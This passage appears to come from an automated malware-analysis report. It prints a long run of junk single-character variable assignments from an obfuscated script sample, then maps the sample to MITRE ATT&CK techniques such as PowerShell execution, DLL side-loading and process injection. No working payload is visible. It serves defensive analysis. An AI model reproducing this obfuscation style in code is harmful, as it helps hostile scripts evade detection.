355	ysxxkpfgb = "J";
356	ysxxkpfgb = "m";
357	ysxxkpfgb = "Q";
358	ysxxkpfgb = "l";
359	ysxxkpfgb = "P";
360	ysxxkpfgb = "M";
361	ysxxkpfgb = "m";
362	ysxxkpfgb = "G";
363	ysxxkpfgb = "v";
364	ysxxkpfgb = "m";
365	ysxxkpfgb = "z";
366	ysxxkpfgb = "z";
367	ysxxkpfgb = "k";
368	ysxxkpfgb = "Y";
369	ysxxkpfgb = "f";
370	ysxxkpfgb = "r";
371	ysxxkpfgb = "y";
372	ysxxkpfgb = "r";
373	ysxxkpfgb = "Z";
374	ysxxkpfgb = "M";
375	ysxxkpfgb = "h";
376	ysxxkpfgb = "b";
377	ysxxkpfgb = "r";
378	qqnnm = "X";
379	qqnnm = "k";
380	qqnnm = "E";
381	qqnnm = "O";
382	qqnnm = "p";
383	qqnnm = "E";
384	qqnnm = "d";
385	qqnnm = "h";
386	qqnnm = "K";
387	qqnnm = "e";
388	qqnnm = "m";
389	qqnnm = "t";
390	qqnnm = "Z";
391	qqnnm = "K";
392	qqnnm = "J";
393	qqnnm = "o";
394	qqnnm = "h";
395	qqnnm = "V";
396	qqnnm = "Z";
397	qqnnm = "u";
398	qqnnm = "z";
399	qqnnm = "C";
400	qqnnm = "B";
401	qqnnm = "k";
402	qqnnm = "E";
403	qqnnm = "P";
404	qqnnm = "k";
405	qqnnm = "G";
406	qqnnm = "E";
407	kgdwvz = "w";
408	kgdwvz = "Y";
409	kgdwvz = "z";
410	kgdwvz = "S";
411	kgdwvz = "D";
412	kgdwvz = "T";
413	kgdwvz = "v";
414	kgdwvz = "Q";
415	kgdwvz = "a";
416	kgdwvz = "u";
417	kgdwvz = "x";
418	kgdwvz = "t";
419	kgdwvz = "d";
420	kgdwvz = "Y";
421	kgdwvz = "C";
422	kgdwvz = "t";
423	kgdwvz = "j";
424	kgdwvz = "C";
425	kgdwvz = "b";
426	kgdwvz = "g";
427	kgdwvz = "E";
428	kgdwvz = "g";
429	kgdwvz = "X";
430	kgdwvz = "p";
431	kgdwvz = "A";
432	kgdwvz = "Z";
433	kgdwvz = "s";
434	kgdwvz = "E";
435	kgdwvz = "f";
436	kgdwvz = "P";
437	kgdwvz = "k";
438	kgdwvz = "q";
439	kgdwvz = "G";
440	kgdwvz = "B";
441	kgdwvz = "M";
442	kgdwvz = "v";
443	kgdwvz = "X";
444	kgdwvz = ".";
445	uubyyztm = "z";
446	uubyyztm = "U";
447	uubyyztm = "p";
448	uubyyztm = "X";
449	uubyyztm = "J";
450	uubyyztm = "O";
451	uubyyztm = "f";
452	uubyyztm = "v";
453	uubyyztm = "E";
454	uubyyztm = "E";
455	uubyyztm = "n";
456	uubyyztm = "4";
457	ofipplfh = "a";
458	ofipplfh = "u";
459	ofipplfh = "I";
460	ofipplfh = "g";
461	ofipplfh = "u";
462	ofipplfh = "q";
463	ofipplfh = "P";
464	ofipplfh = "T";
465	ofipplfh = "q";
466	ofipplfh = "B";
467	ofipplfh = "H";
468	ofipplfh = "q";
469	ofipplfh = "k";
470	ofipplfh = "T";
471	ofipplfh = "K";
472	ofipplfh = "q";
473	ofipplfh = "l";
474	ofipplfh = "Q";
475	ofipplfh = "S";
476	ofipplfh = "K";
477	ofipplfh = "b";
478	ofipplfh = "j";
479	ofipplfh = "x";
480	ofipplfh = "G";
481	ofipplfh = "o";
482	ofipplfh = "u";
483	ofipplfh = "z";
484	ofipplfh = "D";
485	ofipplfh = "u";
486	ofipplfh = "Y";
487	ofipplfh = "u";
488	ofipplfh = "i";
489	ofipplfh = "p";
490	ofipplfh = "H";
491	ofipplfh = "D";
492	ofipplfh = "h";
493	dqqlz = "H";
494	dqqlz = "U";
495	dqqlz = "A";
496	dqqlz = "u";
497	dqqlz = "t";
498	dqqlz = "L";
499	dqqlz = "t";
500	dqqlz = "f";
501	dqqlz = "v";
502	dqqlz = "K";
503	dqqlz = "Z";
504	dqqlz = "n";
505	dqqlz = "J";
506	dqqlz = "Z";
507	dqqlz = "O";
508	dqqlz = "m";
509	dqqlz = "K";
510	dqqlz = "q";
511	dqqlz = "x";
512	dqqlz = "A";
513	dqqlz = "L";
514	dqqlz = "S";
515	dqqlz = "e";
516	dqqlz = "O";
517	dqqlz = "j";
518	dqqlz = "N";
519	dqqlz = "i";
520	avjgjxc = "\"";
521	scceshc = "b";
522	scceshc = "N";
523	scceshc = "Z";
524	scceshc = "g";
525	scceshc = "v";
526	scceshc = "W";
527	scceshc = "l";
528	scceshc = "o";
529	scceshc = "E";
530	scceshc = "Y";
531	scceshc = "t";
532	scceshc = "o";
533	scceshc = "D";
534	scceshc = "c";
535	scceshc = "E";
536	scceshc = "n";
537	scceshc = "D";
538	scceshc = "k";
539	scceshc = "w";
540	scceshc = "p";
541	scceshc = "F";
542	scceshc = "L";
543	scceshc = "G";
544	scceshc = "N";
545	scceshc = "I";
546	scceshc = "o";
547	scceshc = "d";
548	scceshc = "I";
549	scceshc = "z";
550	scceshc = "O";
551	scceshc = "u";
552	scceshc = "z";
553	scceshc = "x";
554	scceshc = "N";
555	scceshc = "O";
556	scceshc = "N";
557	scceshc = "a";
558	scceshc = "5";
559	ctcwo = "d";
560	ctcwo = "L";
561	ctcwo = "Y";
562	ctcwo = "N";
563	ctcwo = "A";
564	ctcwo = "P";
565	ctcwo = "N";
566	ctcwo = "B";
567	ctcwo = "p";
568	ctcwo = "B";
569	ctcwo = "W";
570	ctcwo = "x";
571	ctcwo = "n";
572	ctcwo = "r";
573	ctcwo = "Y";
574	ctcwo = "Q";
575	putijj = "H";
576	putijj = "N";
577	putijj = "C";
578	putijj = "i";
579	putijj = "y";
580	putijj = "i";
581	putijj = "O";
582	putijj = "e";
583	fulqei = "z";
584	fulqei = "q";
585	fulqei = "w";
586	fulqei = "D";
587	fulqei = "E";
588	fulqei = "a";
589	fulqei = "x";
590	fulqei = "g";
591	fulqei = "Y";
592	fulqei = "n";
593	fulqei = "i";
594	fulqei = "n";
595	fulqei = "o";
596	fulqei = "f";
597	fulqei = "N";
598	fulqei = "S";
599	fulqei = "z";
600	fulqei = "a";
601	fulqei = "x";
602	fulqei = "l";
603	fulqei = "R";
604	fulqei = " ";
605	emtcxrmdt = "Y";
606	emtcxrmdt = "M";
607	emtcxrmdt = "m";
608	emtcxrmdt = "a";
609	emtcxrmdt = "c";
610	emtcxrmdt = "P";
611	emtcxrmdt = "D";
612	emtcxrmdt = "N";
613	emtcxrmdt = "L";
614	emtcxrmdt = "v";
615	emtcxrmdt = "k";
616	emtcxrmdt = "A";
617	emtcxrmdt = "C";
618	emtcxrmdt = "F";
619	emtcxrmdt = "u";
620	emtcxrmdt = "s";
621	emtcxrmdt = "Q";
622	emtcxrmdt = "y";
623	emtcxrmdt = "E";
624	emtcxrmdt = "b";
625	emtcxrmdt = "i";
626	emtcxrmdt = "o";
627	emtcxrmdt = "P";
628	wqrjovk = "b";
629	wqrjovk = "n";
630	wqrjovk = "T";
631	wqrjovk = "q";
632	wqrjovk = "C";
633	wqrjovk = "d";
634	wqrjovk = "g";
635	wqrjovk = "Y";
636	wqrjovk = "z";
637	wqrjovk = "A";
638	wqrjovk = "L";
639	wqrjovk = "J";
640	wqrjovk = "x";
641	wqrjovk = "a";
642	wqrjovk = "a";
643	sldvkd = "A";
644	sldvkd = "n";
645	sldvkd = "S";
646	sldvkd = "Y";
647	sldvkd = "F";
648	sldvkd = "L";
649	sldvkd = "t";
650	sldvkd = "X";
651	sldvkd = "Y";
652	sldvkd = "v";
653	sldvkd = "A";
654	sldvkd = "S";
655	sldvkd = "M";
656	sldvkd = "v";
657	sldvkd = "D";
658	sldvkd = "W";
659	sldvkd = "Z";
660	sldvkd = "v";
661	sldvkd = "X";
662	sldvkd = "v";
663	sldvkd = "M";
664	sldvkd = "X";
665	sldvkd = "i";
666	sldvkd = "I";
667	sldvkd = "c";
668	sldvkd = "c";
669	sldvkd = "I";
670	sldvkd = "m";
671	sldvkd = "V";
672	sldvkd = "e";
673	sldvkd = "V";
674	sldvkd = "z";
675	sldvkd = "q";
676	sldvkd = "d";
677	sldvkd = "h";
678	sldvkd = "C";
679	sldvkd = "k";
680	sldvkd = "R";
681	sldvkd = "p";
682	fcdqyry = "B";
683	fcdqyry = "S";
684	fcdqyry = "k";
685	fcdqyry = "O";
686	fcdqyry = "X";
687	fcdqyry = "L";
688	fcdqyry = "P";
689	fcdqyry = "K";
690	fcdqyry = "W";
691	fcdqyry = "h";
692	fcdqyry = "n";
693	fcdqyry = "q";
694	fcdqyry = "W";
695	fcdqyry = "m";
696	fcdqyry = "q";
697	fcdqyry = "d";
698	fcdqyry = "u";
699	fcdqyry = "B";
700	fcdqyry = "r";
701	fcdqyry = "I";
702	fcdqyry = "Y";
703	fcdqyry = "m";
704	fcdqyry = "r";
705	fcdqyry = "Y";
706	fcdqyry = "S";
707	fcdqyry = "B";
708	fcdqyry = "Q";
709	fcdqyry = "K";
710	fcdqyry = "X";
711	fcdqyry = "q";
712	fcdqyry = "g";
713	fcdqyry = "P";
714	fcdqyry = "g";
715	fcdqyry = "C";
716	fcdqyry = "Z";
717	fcdqyry = "R";
718	fcdqyry = "n";
719	fcdqyry = "a";
720	fcdqyry = "n";
721	fcdqyry = "h";
722	fcdqyry = "r";
723	fcdqyry = "Q";
724	fcdqyry = "h";
725	fcdqyry = "Y";
726	cfrfdmx = "u";
727	cfrfdmx = "H";
728	cfrfdmx = "q";
729	cfrfdmx = "D";
730	cfrfdmx = "p";
731	cfrfdmx = "G";
732	cfrfdmx = "x";
733	cfrfdmx = "t";
734	cfrfdmx = "e";
735	cfrfdmx = "E";
736	cfrfdmx = "u";
737	cfrfdmx = "o";
738	cfrfdmx = "G";
739	cfrfdmx = "w";
740	cfrfdmx = "V";
741	cfrfdmx = "f";
742	cfrfdmx = "W";
743	cfrfdmx = "l";
744	cfrfdmx = "J";
745	cfrfdmx = "I";
746	cfrfdmx = "g";
747	cfrfdmx = "a";
748	cfrfdmx = "L";
749	cfrfdmx = "&";
750	oaelmlnqa = "R";
751	oaelmlnqa = "m";
752	oaelmlnqa = "Y";
753	oaelmlnqa = "D";
754	oaelmlnqa = "h";
755	oaelmlnqa = "w";
756	oaelmlnqa = "d";
757	oaelmlnqa = "j";
758	oaelmlnqa = "g";
759	oaelmlnqa = "e";
760	oaelmlnqa = "g";
761	oaelmlnqa = "Z";
762	oaelmlnqa = "V";
763	oaelmlnqa = "a";
764	oaelmlnqa = "o";
765	qluncse = "r";
766	qluncse = "B";
767	qluncse = "Q";
768	qluncse = "S";
769	qluncse = "m";
770	qluncse = "C";
771	qluncse = "b";
772	qluncse = "R";
773	qluncse = "f";
774	qluncse = "Q";
775	qluncse = "s";
776	qluncse = "x";
777	qluncse = "R";
778	qluncse = "l";
779	qluncse = "O";
780	qluncse = "t";
781	qluncse = "t";
782	qluncse = "m";
783	qluncse = "W";
784	qluncse = "U";
785	qluncse = "z";
786	qluncse = "r";
787	qluncse = "e";
788	qluncse = "J";
789	qluncse = "h";
790	qluncse = "v";
791	qluncse = "V";
792	qluncse = "o";
793	qluncse = "m";
794	qluncse = "v";
795	krtkqp = "B";
796	krtkqp = "G";
797	krtkqp = "i";
798	krtkqp = "G";
799	krtkqp = "y";
800	krtkqp = "v";
801	krtkqp = "O";
802	krtkqp = "K";
803	krtkqp = "k";
804	krtkqp = "h";
805	krtkqp = "e";
806	krtkqp = "u";
807	krtkqp = "W";
808	krtkqp = "B";
809	krtkqp = "u";
810	krtkqp = "j";
811	krtkqp = "N";
812	krtkqp = "Z";
813	krtkqp = "A";
814	krtkqp = "S";
815	krtkqp = "c";
816	krtkqp = "j";
817	krtkqp = "H";
818	krtkqp = "M";
819	krtkqp = "c";
820	krtkqp = "0";
821	kijtxaro = "o";
822	kijtxaro = "W";
823	kijtxaro = "b";
824	kijtxaro = "k";
825	kijtxaro = "f";
826	kijtxaro = "G";
827	kijtxaro = "j";
828	kijtxaro = "g";
829	kijtxaro = "M";
830	kijtxaro = "a";
831	kijtxaro = "c";
832	kijtxaro = "T";
833	kijtxaro = "Q";
834	kijtxaro = "g";
835	kijtxaro = "V";
836	kijtxaro = "t";
837	kijtxaro = "f";
838	kijtxaro = "o";
839	kijtxaro = "A";
840	kijtxaro = "c";
841	kijtxaro = "U";
842	kijtxaro = "t";
843	kijtxaro = "9";
844	stnokmj = "B";
845	stnokmj = "q";
846	stnokmj = "E";
847	stnokmj = "S";
848	stnokmj = "J";
849	stnokmj = "X";
850	stnokmj = "e";
851	stnokmj = "Y";
852	stnokmj = "Z";
853	stnokmj = "B";
854	stnokmj = "d";
855	stnokmj = "u";
856	stnokmj = "J";
857	stnokmj = "f";
858	stnokmj = "h";
859	stnokmj = "u";
860	stnokmj = "A";
861	stnokmj = "n";
862	stnokmj = "b";
863	stnokmj = "g";
864	stnokmj = "e";
865	stnokmj = "R";
866	stnokmj = "B";
867	stnokmj = "E";
868	stnokmj = "i";
869	stnokmj = "U";
870	stnokmj = "S";
871	stnokmj = "h";
872	stnokmj = "U";
873	stnokmj = "k";
874	stnokmj = "H";
875	stnokmj = "i";
876	stnokmj = "w";
877	stnokmj = "W";
878	stnokmj = "C";
879	zryco = "s";
880	zryco = "z";
881	zryco = "J";
882	zryco = "t";
883	zryco = "W";
884	zryco = "K";
885	zryco = "u";
886	zryco = "F";
887	gdywon = "M";
888	gdywon = "I";
889	gdywon = "C";
890	gdywon = "R";
891	gdywon = "e";
892	gdywon = "q";
893	gdywon = "f";
894	gdywon = "L";
895	gdywon = "h";
896	gdywon = "x";
897	gdywon = "H";
898	gdywon = "j";
899	gdywon = "y";
900	gdywon = "K";
901	gdywon = "s";
902	gdywon = "w";
903	gdywon = "Z";
904	gdywon = "l";
905	gdywon = "F";
906	gdywon = "j";
907	gdywon = "f";
908	gdywon = "c";
909	gdywon = "t";
910	ievgnwuut = "C";
911	ievgnwuut = "k";
912	ievgnwuut = "w";
913	ievgnwuut = "J";
914	ievgnwuut = "s";
915	ievgnwuut = "e";
916	ievgnwuut = "g";
917	ievgnwuut = "d";
918	ievgnwuut = "j";
919	ievgnwuut = "H";
920	ievgnwuut = "u";
921	ievgnwuut = "W";
922	ievgnwuut = "Z";
923	ievgnwuut = "x";
924	ievgnwuut = "r";
925	ievgnwuut = "V";
926	ievgnwuut = "e";
927	ievgnwuut = "B";
928	ievgnwuut = "1";
929	ihgdlbdv = "Z";
930	ihgdlbdv = "H";
931	ihgdlbdv = "b";
932	ihgdlbdv = "a";
933	ihgdlbdv = "e";
934	ihgdlbdv = "W";
935	ihgdlbdv = "W";
936	ihgdlbdv = "h";
937	ihgdlbdv = "z";
938	ihgdlbdv = "v";
939	ihgdlbdv = "B";
940	ihgdlbdv = "R";
941	ihgdlbdv = "Q";
942	ihgdlbdv = "y";
943	ihgdlbdv = "C";
944	ihgdlbdv = "E";
945	ihgdlbdv = "b";
946	ihgdlbdv = "R";
947	ihgdlbdv = "u";
948	ihgdlbdv = "Q";
949	ihgdlbdv = "z";
950	ihgdlbdv = "b";
951	ihgdlbdv = "q";
952	ihgdlbdv = "w";
953	ihgdlbdv = "X";
954	ihgdlbdv = "M";
955	ihgdlbdv = "h";
956	ihgdlbdv = "w";
957	zmshlimb = "G";
958	zmshlimb = "u";
959	zmshlimb = "P";
960	zmshlimb = "o";
961	zmshlimb = "m";
962	zmshlimb = "S";
963	zmshlimb = "O";
964	zmshlimb = "I";
965	zmshlimb = "S";
966	zmshlimb = "W";
967	zmshlimb = "E";
968	zmshlimb = "P";
969	zmshlimb = "A";
970	zmshlimb = "U";
971	zmshlimb = "Z";
972	zmshlimb = "J";
973	zmshlimb = "f";
974	zmshlimb = "h";
975	zmshlimb = "n";
976	zmshlimb = "P";
977	zmshlimb = "b";
978	zmshlimb = "R";
979	zmshlimb = "g";
980	zmshlimb = "q";
981	zmshlimb = "l";
982	zmshlimb = "u";
983	zmshlimb = "p";
984	zmshlimb = "e";
985	zmshlimb = "o";
986	zmshlimb = "T";
987	zmshlimb = "D";
988	zmshlimb = "q";
989	zmshlimb = "H";
990	zmshlimb = "h";
991	zmshlimb = "t";
992	zmshlimb = "T";
993	zmshlimb = "S";
994	zmshlimb = "g";
995	zmshlimb = "n";
996	zmshlimb = "E";
997	zmshlimb = "v";
998	zmshlimb = "Q";
999	zmshlimb = "z";
1000	zmshlimb = "\\";
1001	huxujb = "Y";
1002	huxujb = "g";
1003	huxujb = "s";
1004	huxujb = "k";
1005	huxujb = "j";
1006	huxujb = "D";
1007	huxujb = "R";
1008	huxujb = "F";
1009	huxujb = "H";
1010	huxujb = "O";
1011	huxujb = "o";
1012	huxujb = "L";
1013	huxujb = "U";
1014	huxujb = "d";
1015	huxujb = "y";
1016	huxujb = "b";
1017	huxujb = "A";
1018	huxujb = "m";
1019	huxujb = "J";
1020	huxujb = "I";
1021	huxujb = "e";
1022	huxujb = "X";
1023	huxujb = "s";
1024	huxujb = "u";
1025	huxujb = "e";
1026	huxujb = "f";
1027	huxujb = "p";
1028	huxujb = "N";
1029	huxujb = "e";
1030	huxujb = "Y";
1031	huxujb = "Y";
1032	huxujb = "Q";
1033	huxujb = "u";
1034	huxujb = "k";
1035	huxujb = "L";
1036	huxujb = "Y";
1037	huxujb = "u";
1038	huxujb = "Q";
1039	huxujb = "g";
1040	hzpbcxik = "i";
1041	hzpbcxik = "E";
1042	hzpbcxik = "L";
1043	hzpbcxik = "O";
1044	hzpbcxik = "g";
1045	hzpbcxik = "N";
1046	hzpbcxik = "o";
1047	hzpbcxik = "v";
1048	hzpbcxik = "Y";
1049	hzpbcxik = "e";
1050	hzpbcxik = "p";
1051	hzpbcxik = "T";
1052	hzpbcxik = "O";
1053	hzpbcxik = "t";
1054	hzpbcxik = "y";
1055	hzpbcxik = "o";
1056	hzpbcxik = "T";
1057	hzpbcxik = "x";
1058	hzpbcxik = "Y";
1059	hzpbcxik = "Z";
1060	hzpbcxik = "e";
1061	hzpbcxik = "a";
1062	hzpbcxik = "y";
1063	hzpbcxik = "S";
1064	hzpbcxik = "C";
1065	hzpbcxik = "D";
1066	hzpbcxik = "O";
1067	hzpbcxik = "l";
1068	hzpbcxik = "E";
1069	hzpbcxik = "F";
1070	hzpbcxik = "v";
1071	hzpbcxik = "s";
1072	hzpbcxik = "l";
1073	hzpbcxik = "r";
1074	hzpbcxik = "j";
1075	hzpbcxik = "P";
1076	hzpbcxik = "l";
1077	hzpbcxik = "F";
1078	hzpbcxik = "I";
1079	hzpbcxik = "Y";
1080	hzpbcxik = "T";
1081	hzpbcxik = "f";
1082	hzpbcxik = "v";
1083	hzpbcxik = "s";
1084	hzpbcxik = ":";
1085	gcgwkc = "l";
1086	gcgwkc = "Z";
1087	gcgwkc = "C";
1088	gcgwkc = "h";
1089	gcgwkc = "C";
1090	gcgwkc = "s";
1091	gcgwkc = "L";
1092	gcgwkc = "I";
1093	gcgwkc = "x";
1094	gcgwkc = "P";
1095	gcgwkc = "H";
1096	gcgwkc = "V";
1097	gcgwkc = "x";
1098	gcgwkc = "s";
1099	gcgwkc = "r";
1100	gcgwkc = "x";
1101	gcgwkc = "y";
1102	gcgwkc = "h";
1103	gcgwkc = "Z";
1104	gcgwkc = "N";
1105	gcgwkc = "J";
1106	gcgwkc = "F";
1107	gcgwkc = "L";
1108	gcgwkc = "C";
1109	gcgwkc = "B";
1110	gcgwkc = "H";
1111	zljndrv = "J";
1112	zljndrv = "B";
1113	zljndrv = "t";
1114	zljndrv = "P";
1115	zljndrv = "v";
1116	zljndrv = "s";
1117	zljndrv = "a";
1118	zljndrv = "b";
1119	zljndrv = "t";
1120	zljndrv = "o";
1121	zljndrv = "b";
1122	zljndrv = "Q";
1123	zljndrv = "Z";
1124	zljndrv = "w";
1125	zljndrv = "f";
1126	zljndrv = "e";
1127	zljndrv = "Q";
1128	zljndrv = "W";
1129	zljndrv = "X";
1130	zljndrv = "k";
1131	zljndrv = "l";
1132	zljndrv = "B";
1133	zljndrv = "e";
1134	zljndrv = "U";
1135	zljndrv = "a";
1136	zljndrv = "L";
1137	zljndrv = "R";
1138	zljndrv = "a";
1139	zljndrv = "R";
1140	zljndrv = "l";
1141	zljndrv = "p";
1142	zljndrv = "p";
1143	zljndrv = "W";
1144	zljndrv = "_";
1145	gevivamd = "p";
1146	gevivamd = "X";
1147	gevivamd = "s";
1148	gevivamd = "Q";
1149	gevivamd = "Z";
1150	gevivamd = "e";
1151	gevivamd = "i";
1152	gevivamd = "o";
1153	gevivamd = "A";
1154	gevivamd = "W";
1155	gevivamd = "Z";
1156	gevivamd = "h";
1157	gevivamd = "C";
1158	gevivamd = "N";
1159	gevivamd = "K";
1160	gevivamd = "c";
1161	gevivamd = "l";
1162	gevivamd = "i";
1163	gevivamd = "Y";
1164	gevivamd = "u";
1165	gevivamd = "S";
1166	gevivamd = "l";
1167	gevivamd = "l";
1168	gevivamd = "e";
1169	gevivamd = "K";
1170	gevivamd = "F";
1171	gevivamd = "k";
1172	gevivamd = "w";
1173	gevivamd = "3";
1174	gauvqixn = "Y";
1175	gauvqixn = "b";
1176	gauvqixn = "T";
1177	gauvqixn = "h";
1178	gauvqixn = "r";
1179	gauvqixn = "v";
1180	gauvqixn = "g";
1181	gauvqixn = "C";
1182	gauvqixn = "N";
1183	gauvqixn = "L";
1184	gauvqixn = "B";
1185	gauvqixn = "F";
1186	gauvqixn = "u";
1187	gauvqixn = "U";
1188	gauvqixn = "i";
1189	gauvqixn = "H";
1190	gauvqixn = "t";
1191	gauvqixn = "p";
1192	gauvqixn = "X";
1193	gauvqixn = "N";
1194	gauvqixn = "d";
1195	gauvqixn = "h";
1196	gauvqixn = "A";
1197	gauvqixn = "C";
1198	gauvqixn = "n";
1199	fpvcyvokl = "x";
1200	fpvcyvokl = "X";
1201	fpvcyvokl = "s";
1202	fpvcyvokl = "V";
1203	fpvcyvokl = "y";
1204	fpvcyvokl = "V";
1205	fpvcyvokl = "X";
1206	fpvcyvokl = "f";
1207	whqtg = "f";
1208	whqtg = "i";
1209	whqtg = "L";
1210	whqtg = "u";
1211	whqtg = "m";
1212	whqtg = "i";
1213	whqtg = "Z";
1214	whqtg = "U";
1215	whqtg = "v";
1216	whqtg = "v";
1217	whqtg = "p";
1218	whqtg = "w";
1219	whqtg = "A";
1220	whqtg = "l";
1221	whqtg = "p";
1222	whqtg = "j";
1223	whqtg = "x";
1224	whqtg = "W";
1225	whqtg = "y";
1226	whqtg = "u";
1227	whqtg = "K";
1228	whqtg = "T";
1229	whqtg = "Q";
1230	whqtg = "x";
1231	whqtg = "a";
1232	whqtg = "W";
1233	whqtg = "e";
1234	whqtg = "W";
1235	whqtg = "F";
1236	whqtg = "X";
1237	whqtg = "x";
1238	whqtg = "U";
1239	whqtg = "n";
1240	whqtg = "I";
1241	whqtg = "z";
1242	whqtg = "b";
1243	brgyeolq = "w";
1244	brgyeolq = "M";
1245	brgyeolq = "V";
1246	brgyeolq = "p";
1247	brgyeolq = "u";
1248	brgyeolq = "W";
1249	brgyeolq = "w";
1250	brgyeolq = "Y";
1251	brgyeolq = "U";
1252	brgyeolq = "C";
1253	brgyeolq = "U";
1254	brgyeolq = "A";
1255	brgyeolq = "K";
1256	brgyeolq = "b";
1257	brgyeolq = "l";
1258	brgyeolq = "I";
1259	brgyeolq = "T";
1260	brgyeolq = "k";
1261	brgyeolq = "t";
1262	brgyeolq = "q";
1263	brgyeolq = "K";
1264	brgyeolq = "b";
1265	brgyeolq = "R";
1266	brgyeolq = "m";
1267	brgyeolq = "W";
1268	brgyeolq = "o";
1269	brgyeolq = "g";
1270	brgyeolq = "X";
1271	brgyeolq = "q";
1272	brgyeolq = "B";
1273	brgyeolq = "s";
1274	brgyeolq = "E";
1275	brgyeolq = "I";
1276	brgyeolq = "b";
1277	brgyeolq = "C";
1278	brgyeolq = "d";
1279	brgyeolq = "A";
1280	brgyeolq = "D";
1281	brgyeolq = "p";
1282	brgyeolq = "s";
1283	brgyeolq = "P";
1284	brgyeolq = "2";
1285	snxsxjrr = "g";
1286	snxsxjrr = "Z";
1287	snxsxjrr = "K";
1288	snxsxjrr = "k";
1289	snxsxjrr = "c";
1290	snxsxjrr = "Y";
1291	snxsxjrr = "W";
1292	snxsxjrr = "Z";
1293	snxsxjrr = "i";
1294	snxsxjrr = "w";
1295	snxsxjrr = "S";
1296	snxsxjrr = "J";
1297	snxsxjrr = "q";
1298	snxsxjrr = "O";
1299	snxsxjrr = "U";
1300	snxsxjrr = "t";
1301	snxsxjrr = "w";
1302	snxsxjrr = "Q";
1303	snxsxjrr = "r";
1304	snxsxjrr = "R";
1305	snxsxjrr = "C";
1306	snxsxjrr = "I";
1307	snxsxjrr = "U";
1308	snxsxjrr = "m";
1309	snxsxjrr = "v";
1310	snxsxjrr = "Q";
1311	snxsxjrr = "h";
1312	snxsxjrr = "D";
1313	snxsxjrr = "z";
1314	snxsxjrr = "l";
1315	snxsxjrr = "R";
1316	snxsxjrr = "o";
1317	snxsxjrr = "Q";
1318	snxsxjrr = "W";
1319	snxsxjrr = "z";
1320	snxsxjrr = "K";
1321	snxsxjrr = "J";
1322	snxsxjrr = "L";
1323	rqjrbbkk = "l";
1324	rqjrbbkk = "B";
1325	rqjrbbkk = "C";
1326	rqjrbbkk = "o";
1327	rqjrbbkk = "k";
1328	rqjrbbkk = "Y";
1329	rqjrbbkk = "Y";
1330	rqjrbbkk = "S";
1331	rqjrbbkk = "p";
1332	rqjrbbkk = "g";
1333	rqjrbbkk = "n";
1334	rqjrbbkk = "U";
1335	rqjrbbkk = "t";
1336	rqjrbbkk = "P";
1337	rqjrbbkk = "P";
1338	rqjrbbkk = "b";
1339	rqjrbbkk = "G";
1340	rqjrbbkk = "z";
1341	rqjrbbkk = "Y";
1342	rqjrbbkk = "c";
1343	ubecukv = "%";
1344	nszipojt = "Y";
1345	nszipojt = "F";
1346	nszipojt = "a";
1347	nszipojt = "E";
1348	nszipojt = "r";
1349	nszipojt = "M";
1350	nszipojt = "E";
1351	nszipojt = "K";
1352	nszipojt = "U";
1353	nszipojt = "x";
1354	nszipojt = "l";
1355	nszipojt = "d";
1356	nszipojt = "M";
1357	nszipojt = "o";
1358	nszipojt = "k";
1359	qcrkq = "y";
1360	qcrkq = "Y";
1361	qcrkq = "R";
1362	qcrkq = "Y";
1363	qcrkq = "c";
1364	qcrkq = "M";
1365	qcrkq = "W";
1366	qcrkq = "V";
1367	qcrkq = "j";
1368	qcrkq = "c";
1369	qcrkq = "V";
1370	qcrkq = "R";
1371	qcrkq = "r";
1372	qcrkq = "o";
1373	qcrkq = "A";
1374	qcrkq = "O";
1375	qcrkq = "A";
1376	qcrkq = "q";
1377	qcrkq = "x";
1378	qcrkq = "s";
1379	qcrkq = "v";
1380	qcrkq = "U";
1381	qcrkq = "Z";
1382	qcrkq = "j";
1383	qcrkq = "i";
1384	qcrkq = "B";
1385	qcrkq = "v";
1386	qcrkq = "E";
1387	qcrkq = "m";
1388	svjqecf ( );	svjqecf() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
